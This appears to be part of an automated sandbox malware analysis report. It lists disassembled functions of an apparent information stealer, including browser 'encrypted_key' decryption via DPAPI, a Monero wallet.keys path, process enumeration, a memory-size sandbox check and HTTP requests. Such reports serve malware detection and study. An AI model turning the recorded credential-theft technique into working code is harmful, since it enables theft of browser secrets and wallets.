Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 9f7c1a081dd45c2206301f27b3d66324735138e13b0a25ffc71dee03b9596637
Instruction ID: 0a962add7d40b147380244dfa03b06bf73a6aa75936d2162ceead752828e1a6e
Opcode Fuzzy Hash: 9f7c1a081dd45c2206301f27b3d66324735138e13b0a25ffc71dee03b9596637
Instruction Fuzzy Hash: 15514275E0114AEBDB04FBB4DD94DED7379AF64210F408528E847A7194EE386B0ECBA0

Function 01009CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 01009D39

Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009AEF
Part of subcall function 01009AC0: LocalAlloc.KERNEL32(00000040,?,?,?,01004EEE,00000000,?), ref: 01009B01
Part of subcall function 01009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,01004EEE,00000000,00000000), ref: 01009B2A
Part of subcall function 01009AC0: LocalFree.KERNEL32(?,?,?,?,01004EEE,00000000,?), ref: 01009B3F

Part of subcall function 01009B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 01009B84
Part of subcall function 01009B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 01009BA3
Part of subcall function 01009B60: LocalFree.KERNEL32(?), ref: 01009BD3

Strings

"encrypted_key":", xrefs: 01009D30
DPAPI, xrefs: 01009D89
, xrefs: 01009DC1

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 736e13f7d89cf1483c6328549fd85573904ee8e8aa9bffee5ba68cc3bc9b5cbc
Instruction ID: 9610e04257fefcbae673249516635585bdd660e5c484faaf17877456f10db163
Opcode Fuzzy Hash: 736e13f7d89cf1483c6328549fd85573904ee8e8aa9bffee5ba68cc3bc9b5cbc
Instruction Fuzzy Hash: 8B3181B5D0020DABDF05EBE8CC85AEEB7B8BF48304F144559EA55A7281E7349A04CBA1

Function 01018680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010205B7), ref: 010186CA
Process32First.KERNEL32(?,00000128), ref: 010186DE
Process32Next.KERNEL32(?,00000128), ref: 010186F3

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

CloseHandle.KERNEL32(?), ref: 01018761

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 71a415d4f392409b74aeb1a84e8da3103b5c22ec59efe527e25df2584e4a92f5
Instruction ID: a67608152f42ada780e1cd62c491cdc3009f59583382fd51468b218350e5047a
Opcode Fuzzy Hash: 71a415d4f392409b74aeb1a84e8da3103b5c22ec59efe527e25df2584e4a92f5
Instruction Fuzzy Hash: E4316B71A02259EBCB24EF55DC44FEEB778FB54710F004199E50AA7198DB386B45CFA0

Function 01016AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00A59178,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01016AE8
CloseHandle.KERNEL32(00000000), ref: 01016AF9
Sleep.KERNEL32(00001770), ref: 01016B04
CloseHandle.KERNEL32(?,00000000,?,00A59178,?,0102110C,?,00000000,?,01021110,?,00000000,01020AEF), ref: 01016B1A
ExitProcess.KERNEL32 ref: 01016B22

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d8db6ff1035b0f77bc9c74c60be9b24512885abf25b4f01e53e3401b11e74822
Instruction ID: ed734f82b2c0856c0a8f92b630e0d95057bf43e745306bd40c70f44c0ae050b6
Opcode Fuzzy Hash: d8db6ff1035b0f77bc9c74c60be9b24512885abf25b4f01e53e3401b11e74822
Instruction Fuzzy Hash: DAF03A35A8020AABE720ABA0AC59BBE7A74FB14741F404514B583A6188CBF95540CA55

Function 010047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Strings

<, xrefs: 010047C9

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 21231974e2ea142553197e468bd250495bbfc90db53889795249c1070c37f506
Instruction ID: 2f8020c6818b6cc5fd72741b57b61ced903e12f5d062f772afd63e19c8fe3ac7
Opcode Fuzzy Hash: 21231974e2ea142553197e468bd250495bbfc90db53889795249c1070c37f506
Instruction Fuzzy Hash: 8A214FB5E41209ABDF14DFA4E849ADE7B75FB44320F108625F965A72C0EB706A09CF81

Function 010151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 01006280: InternetOpenA.WININET(01020DFE,00000001,00000000,00000000,00000000), ref: 010062E1
Part of subcall function 01006280: StrCmpCA.SHLWAPI(?,00A5EA78), ref: 01006303
Part of subcall function 01006280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01006335
Part of subcall function 01006280: HttpOpenRequestA.WININET(00000000,GET,?,00A5E278,00000000,00000000,00400100,00000000), ref: 01006385
Part of subcall function 01006280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 010063BF
Part of subcall function 01006280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 010063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01015228

Strings

ERROR, xrefs: 0101521A
ERROR, xrefs: 01015273

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 84d659ccf11cc81e91665b45ee3653fb782ebe2a48ab03394a8831dc3a10e817
Instruction ID: dba8a6414fe459658960aac8c7d083c4b8685f015493f14fb9aa4845b201f2e1
Opcode Fuzzy Hash: 84d659ccf11cc81e91665b45ee3653fb782ebe2a48ab03394a8831dc3a10e817
Instruction Fuzzy Hash: 96115E31A01089EBDB14FF74DD90AED7338AF60210F804158F88B4B594EF78AB0ACB90

Function 01001220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0100123E
ExitProcess.KERNEL32 ref: 01001294

Strings

@, xrefs: 01001233

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 21c823a443f5cc0c2a475f2c30acca4d4a856d5ee1646ffbd6094419b182b4db
Instruction ID: 9a3e83f713c405af6157523b291fc27a3d995cba3b1f8f314a0290dfdebac88e
Opcode Fuzzy Hash: 21c823a443f5cc0c2a475f2c30acca4d4a856d5ee1646ffbd6094419b182b4db
Instruction Fuzzy Hash: 50014BF0984308BBEB10DBE4DC49B9EBBB8AB14701F248048E745B72C4D67896518B99

Function 01014F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014F7A
lstrcat.KERNEL32(?,01021070), ref: 01014F97
lstrcat.KERNEL32(?,00A590F8), ref: 01014FAB
lstrcat.KERNEL32(?,01021074), ref: 01014FBD

Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
Part of subcall function 01014910: FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
Part of subcall function 01014910: FindClose.KERNEL32(000000FF), ref: 01014B92

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
